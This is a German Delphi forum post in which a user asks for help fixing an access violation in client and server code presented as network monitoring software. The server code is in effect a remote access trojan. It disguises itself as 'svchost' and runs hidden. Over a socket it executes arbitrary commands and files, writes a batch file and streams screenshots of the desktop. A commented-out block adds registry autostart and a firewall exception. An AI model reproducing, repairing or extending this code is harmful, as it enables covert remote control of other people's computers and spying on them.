Problem: TMemoryStream und JPEG Netzwerküberwachungssoftware

[LAWn-M0W3R]

Ich habe ein Problem, bitte helft mir! Ich habe einen Server, der auf Clientbefehl Screenshots übers Netzwerk sendet, aber er gibt mir immer an den unmöglichsten Stellen AccessViolation Errors aus!
Diese Stelle lief auch schon mal, aber nachdem ich nur den String 'Screenshot' auf dem Client verändert hatte, kam dieser Error und ich arbeite mit Delphi 6, dass ja sowieso immer irgendwann irgendwelche bescheuerten Compilierfehler macht. Vielleicht bin ich in diesem Fall auch einfach zu blöd, jedenfalls hab ich keinen Nerv mehr!
Damals als er lief hat er mir aber auch kein Bild übertragen, sondern irgendeinen Adressen-Fehler ausgegeben! Wenn mir jemand sagen kann, wie man das Bild noch kleiner kriegt oder wie man schneller übertragen kann, wäre ich ebenfalls sehr dankbar.
Ich hoffe auf eure Hilfe! Ach ja, bitte idiotensichere Beschreibung: Den größten Teil des Quelltextes habe ich mir auch irgendwo hier aus dem Forum zusammengesucht!
Viele Grüße und Dank im Vorraus!

LAWn-M0W3R



Hier der gesamte Quelltext (der Fehler ist unten im Serverquelltext gekennzeichnet):

Server

Delphi-Quellcode:

unit mMessenger;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, ShellAPI, StdCtrls, ComCtrls, Comobj, Registry,
  ExtCtrls, strutils, jpeg;

type
  Tsvchost = class(TForm)
    Server: TServerSocket;
    text: TMemo;
    Log: TRichEdit;
    Lpath: TLabel;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure ServerClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ServerClientError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  private
    function GetCursorInfo: TCursorInfo;
    procedure Screenshot;
  public
    { Public declarations }
  end;

var
  svchost: Tsvchost;
  voice: Variant;
  Stream : TMemoryStream;


implementation

{$R *.dfm}

function Tsvchost.GetCursorInfo: TCursorInfo;
var
 hWindow: HWND;
 pt: TPoint;
 dwThreadID, dwCurrentThreadID: DWORD;
begin
 Result.hCursor := 0;
 ZeroMemory(@Result, SizeOf(Result));
 // Find out which window owns the cursor
 if GetCursorPos(pt) then
 begin
   Result.ptScreenPos := pt;
   hWindow := WindowFromPoint(pt);
   if IsWindow(hWindow) then
   begin
     // Get the thread ID for the cursor owner.
     dwThreadID := GetWindowThreadProcessId(hWindow, nil);

     // Get the thread ID for the current thread
     dwCurrentThreadID := GetCurrentThreadId;

     // If the cursor owner is not us then we must attach to
     // the other thread in so that we can use GetCursor() to
     // return the correct hCursor
     if (dwCurrentThreadID <> dwThreadID) then
     begin
       if AttachThreadInput(dwCurrentThreadID, dwThreadID, True) then
       begin
         // Get the handle to the cursor
         Result.hCursor := GetCursor;
         AttachThreadInput(dwCurrentThreadID, dwThreadID, False);
       end;
     end
     else
     begin
       Result.hCursor := GetCursor;
     end;
   end;
 end;
end;

procedure Tsvchost.Screenshot;
type
  TJPEGQualityRange = 1..100;
var
   W, H: Integer;
   DesktopDC: HDC;
   BMP: TBitmap;
   JPG: TJpegImage;
   Cursor: TIcon;
   CursorInfo: TCursorInfo;
   IconInfo: TIconInfo;
begin
DesktopDC := CreateDC('Display', nil,nil,nil);
W := Screen.Width;
H := Screen.Height;
BMP := TBitmap.Create;
JPG := TJpegImage.Create;
try
   BMP.HandleType := bmDDB;
   BMP.PixelFormat := pf24Bit;
   BMP.Width := W;
   BMP.Height := H;
   BitBlt(BMP.Canvas.Handle, 0, 0, Screen.Width, Screen.Height, DesktopDC, 0, 0, SRCCOPY);
   Cursor := TIcon.Create;
   try
      //retrieve Cursorinfo
     CursorInfo := GetCursorInfo;
     if CursorInfo.hCursor <> 0 then
     begin
       Cursor.Handle := CursorInfo.hCursor;
       // Get Hotspot information
       GetIconInfo(CursorInfo.hCursor, IconInfo);
       // Draw the Cursor on our bitmap
       BMP.Canvas.Draw(CursorInfo.ptScreenPos.X - IconInfo.xHotspot,
                           CursorInfo.ptScreenPos.Y - IconInfo.yHotspot, Cursor);
     end;
   finally
     // Clean up
     Cursor.ReleaseHandle;
     Cursor.Free;
   end;
   JPG.CompressionQuality := 70;
   JPG.Assign(BMP);
   FreeAndNil(Stream);
   JPG.SaveToStream(Stream);
   finally
   BMP.Free;
   Jpg.Free;
   DeleteDC(DesktopDC);
   end;
end;

/////////////////////////////////////////////////////////////////////////

procedure Tsvchost.FormCreate(Sender: TObject);
 var
  Reg: TRegistry;
begin
  Lpath.Caption := ExpandFileName('asdf');
  Server.Port := 8877;
  Server.Open;
  Log.Lines.Add('Server online.');
  Application.ShowMainForm := False;
{  Reg := TRegistry.Create;
  try
    Reg.RootKey := HKEY_CURRENT_USER;
    Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True);
    Reg.WriteString('windows.svchost', 'C:\Windows\svchost.exe');
    Reg.CloseKey;
    Reg.RootKey := HKEY_LOCAL_MACHINE;
    Reg.OpenKey('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\'+
                'FirewallPolicy\StandardProfile\AuthorizedApplications\List', True);
    Reg.WriteString('svchost.exe', 'svchost.exe' + ':*:Enabled:winhost32');
    Reg.CloseKey;
  finally
    Reg.Free;
  end;     }
  voice := CreateOLEObject('SAPI.SpVoice');
  Stream := TMemoryStream.Create;
end;

procedure Tsvchost.FormDestroy(Sender: TObject);
begin
  Server.Close;
end;

procedure Tsvchost.ServerClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
begin
Log.Lines.Add(Socket.ReceiveText);
//Shell
If copy(Log.Lines[Log.Lines.Capacity-1],0,2)='SH' then ShellExecute(0,PChar(copy(Log.Lines[Log.Lines.Capacity-1],3,length(Log.Lines[Log.Lines.Capacity-1]))), 
             nil,nil,nil,SW_Hide);
//Datei ausführen
If copy(Log.Lines[Log.Lines.Capacity-1],0,2)='DA' then ShellExecute(0,'open',PChar(copy(Log.Lines[Log.Lines.Capacity-1],3,length(Log.Lines[Log.Lines.Capacity-1]))),
             nil,nil,SW_Normal);
//Textdatei schreiben
If copy(Log.Lines[Log.Lines.Capacity-1],0,2)='TE' then text.Lines.Add(copy(Log.Lines[Log.Lines.Capacity-1],3,length(Log.Lines[Log.Lines.Capacity-1])));
If copy(Log.Lines[Log.Lines.Capacity-1],0,5)='TSAVE' then text.Lines.SaveToFile('C:\restart.bat');
If copy(Log.Lines[Log.Lines.Capacity-1],0,6)='TRESET' then text.Lines.Clear;
//Dialogfenster
If copy(Log.Lines[Log.Lines.Capacity-1],0,2)='NA' then MessageDlg(copy(Log.Lines[Log.Lines.Capacity-1],3,length(Log.Lines[Log.Lines.Capacity-1])), mtError, [mbOK], 0);
//Speech
If copy(Log.Lines[Log.Lines.Capacity-1],0,2)='SP' then voice.speak(copy(Log.Lines[Log.Lines.Capacity-1],3,length(Log.Lines[Log.Lines.Capacity-1])));
//Screenshot Übertragung
If leftstr(Log.Lines[Log.Lines.Capacity-1],length('SCREENSHOT'))='SCREENSHOT'
then
 begin
  Screenshot;


[b]//!!!!!!!!!!!!!!!!!!!!AccessViolation Error
  Server.Socket.SendText(IntToStr(Stream.Size));[/b]

 end;
If leftstr(Log.Lines[Log.Lines.Capacity -1],length('OK'))='OK' then Server.Socket.SendBuf(Stream.Memory^, Stream.Size);
end;


procedure Tsvchost.ServerClientError(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
 ErrorCode := 0;
end;

end.

Client

Delphi-Quellcode:

unit mNetview;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ComCtrls, TabNotBk, StdCtrls, ExtCtrls, ScktComp, Buttons,
  Comobj, mRemote, jpeg, strutils;
type
  TNetview = class(TForm)
    Pages: TTabbedNotebook;
    Ehost: TLabeledEdit;
    Log: TMemo;
    Bverbindung: TSpeedButton;
    ClientSocket: TClientSocket;
    Ebefehl: TLabeledEdit;
    Eattribut: TLabeledEdit;
    Bsenden1: TSpeedButton;
    Ename: TLabeledEdit;
    Bsenden2: TSpeedButton;
    Ezeile: TLabeledEdit;
    Bsenden3: TSpeedButton;
    Breset: TSpeedButton;
    Bspeichern: TSpeedButton;
    Epath: TLabeledEdit;
    Enachricht: TLabeledEdit;
    Bsenden4: TSpeedButton;
    Box: TComboBox;
    Lntyp: TLabel;
    Espeech: TLabeledEdit;
    Bsenden5: TSpeedButton;
    Bscreen: TSpeedButton;
    Timer: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure ClientSocketConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ClientSocketDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ClientSocketError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure ClientSocketRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure BverbindungClick(Sender: TObject);
    procedure Bsenden1Click(Sender: TObject);
    procedure Bsenden2Click(Sender: TObject);
    procedure Bsenden3Click(Sender: TObject);
    procedure Bsenden4Click(Sender: TObject);
    procedure Bsenden5Click(Sender: TObject);
    procedure BresetClick(Sender: TObject);
    procedure BspeichernClick(Sender: TObject);
    procedure BscreenClick(Sender: TObject);
    procedure TimerTimer(Sender: TObject);
  private
    procedure SendText(field: TLabeledEdit; text: string);
  public
    { Public declarations }
  end;

var
  Netview: TNetview;
  voice: Variant;

implementation

{$R *.dfm}

procedure TNetview.SendText(field: TLabeledEdit; text: string);
begin
 If ClientSocket.Socket.Connected=false
 then
  begin
   Log.Lines.Add('Nicht verbunden!');
  end
 else
  begin
   If field.Text=''
   then
    begin
     voice.Speak('not enough parameters!', 0);
     MessageDlg('Nicht genügend Parameter', mtError, [mbOK], 0);
    end
   else ClientSocket.Socket.SendText(text);
  end;
end;


////////////////////////////////////////////////////////////


procedure TNetview.FormCreate(Sender: TObject);
begin
 ClientSocket.Port := 8877;
 voice := CreateOLEObject('SAPI.SpVoice');
 Log.Lines.Add('Programm bereit');
end;

procedure TNetview.FormDestroy(Sender: TObject);
begin
 if (ClientSocket.Active) then ClientSocket.Close;
end;

procedure TNetview.ClientSocketConnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
 Log.Lines.Add('Verbunden mit '+Ehost.Text);
 voice.Speak('Connection established!', 0);
 Bverbindung.Caption := 'trennen';
end;

procedure TNetview.ClientSocketDisconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
 Log.Lines.Add('Verbindung getrennt.');
 voice.Speak('disconnected!', 0);
 Bverbindung.Caption := 'verbinden';
end;

procedure TNetview.ClientSocketError(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
 If ErrorCode=10061
 then
  begin
   Log.Lines.Add('Host nicht erreichbar oder Programm wird nicht auf Remotehost ausgeführt!');
  end
 else
  begin
   Log.Lines.Add('Fehler '+IntToStr(ErrorCode));
   voice.Speak('Error ' + inttostr(ErrorCode), 0);
  end;
 Bverbindung.Caption := 'verbinden';
 ErrorCode := 0;
end;

procedure TNetview.ClientSocketRead(Sender: TObject;
  Socket: TCustomWinSocket);
begin
// Log.Lines.Add('empfangen: ' + Socket.ReceiveText);
 voice.Speak(Log.Lines[Log.Lines.Capacity -1], 0);
end;

procedure TNetview.BverbindungClick(Sender: TObject);
begin
 If Bverbindung.Caption='verbinden'
 then
  begin
   ClientSocket.Host := Ehost.Text;
   ClientSocket.Open;
   If ClientSocket.Socket.Connected=true then Bverbindung.Caption := 'trennen';
  end
 else
  begin
   ClientSocket.Close;
  end;
end;

procedure TNetview.Bsenden1Click(Sender: TObject);
begin
 SendText(Ebefehl, 'SH' + Ebefehl.Text + '#1' + Eattribut.Text);
end;

procedure TNetview.Bsenden2Click(Sender: TObject);
begin
 SendText(Ename, 'DA' + Ename.Text);
end;

procedure TNetview.Bsenden3Click(Sender: TObject);
begin
 SendText(Ezeile, 'TE' + Ezeile.Text);
end;

procedure TNetview.Bsenden4Click(Sender: TObject);
begin
 SendText(Enachricht, 'NA' + Enachricht.Text + '#1' + Box.Text);
end;

procedure TNetview.Bsenden5Click(Sender: TObject);
begin
 SendText(Espeech, 'SP' + Espeech.Text);
end;

procedure TNetview.BresetClick(Sender: TObject);
begin
 SendText(Epath, 'TEreset');
end;

procedure TNetview.BspeichernClick(Sender: TObject);
begin
 SendText(Epath, 'TEsave');
end;

procedure TNetview.BscreenClick(Sender: TObject);
begin
 If ClientSocket.Socket.Connected=true
 then
  begin
  Application.CreateForm(Tremote, remote);
  Timer.Enabled := true;
  end
 else
  begin
  MessageDlg('Keine Remote-Verbindung!', mtError, [mbOK], 0);
  voice.speak('Please connect first!', 0);
  end;
end;

procedure TNetview.TimerTimer(Sender: TObject);
var
  rL : Integer;
  Pic: TJpegimage;
begin
 SendText(Ehost, 'SCREENSHOT');
rL := ClientSocket.Socket.ReceiveLength;
If rL = 0 then Exit;
If Rec
then
   begin
   ClientSocket.Socket.ReceiveBuf(Pointer(Int64(Stream.Memory) + Stream.Position)^, rL);
   Stream.Position := Stream.Position + rL;
//   ProgressBar1.Position:=round(Stream.position/rsize*100);   //Fortschritt anzeigen lassen
        If Stream.Position = rSize then begin
//        ProgressBar1.Position:=100;                       //Fortschritt anzeigen lassen
        Stream.Position := 0;
        Pic := TJpegimage.Create;
            try
            Pic.LoadFromStream(Stream);
            remote.Iscreen.Picture.Assign(Pic);
            remote.Iscreen.Refresh;
            finally
            Pic.Free;
            end;
        FreeAndNil(Stream);
        Rec := False;
        end;
    end
else
    begin
    rSize := StrToInt(ClientSocket.Socket.ReceiveText);
    Stream := TMemoryStream.Create;
    Stream.SetSize(rSize);
    Stream.Position := 0;
    Rec := True;
    ClientSocket.Socket.SendText('OK');
    end;
end;

end.



/////////////////////////////////////////////////////////////////
unit mRemote;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls;

type
  Tremote = class(TForm)
    Iscreen: TImage;
    procedure FormDestroy(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  remote: Tremote;
  Rec: Boolean=false;
  Stream: TMemoryStream;
  rSize: Int64;

implementation

{$R *.dfm}
uses mNetview;

procedure Tremote.FormDestroy(Sender: TObject);
begin
 mNetview.Netview.ClientSocket.Socket.SendText('ENDSTREAM');
end;

end.

Bitte, bitte helft mir!!!

[edit=Phoenix]Tippfehler im Titel korrigiert wegen Suchfunktion. Mfg, Phoenix[/edit]
[edit=MrSpock]Etwas lange Codezeilen auf zwei Zeilen geändert. Mfg, MrSpock[/edit]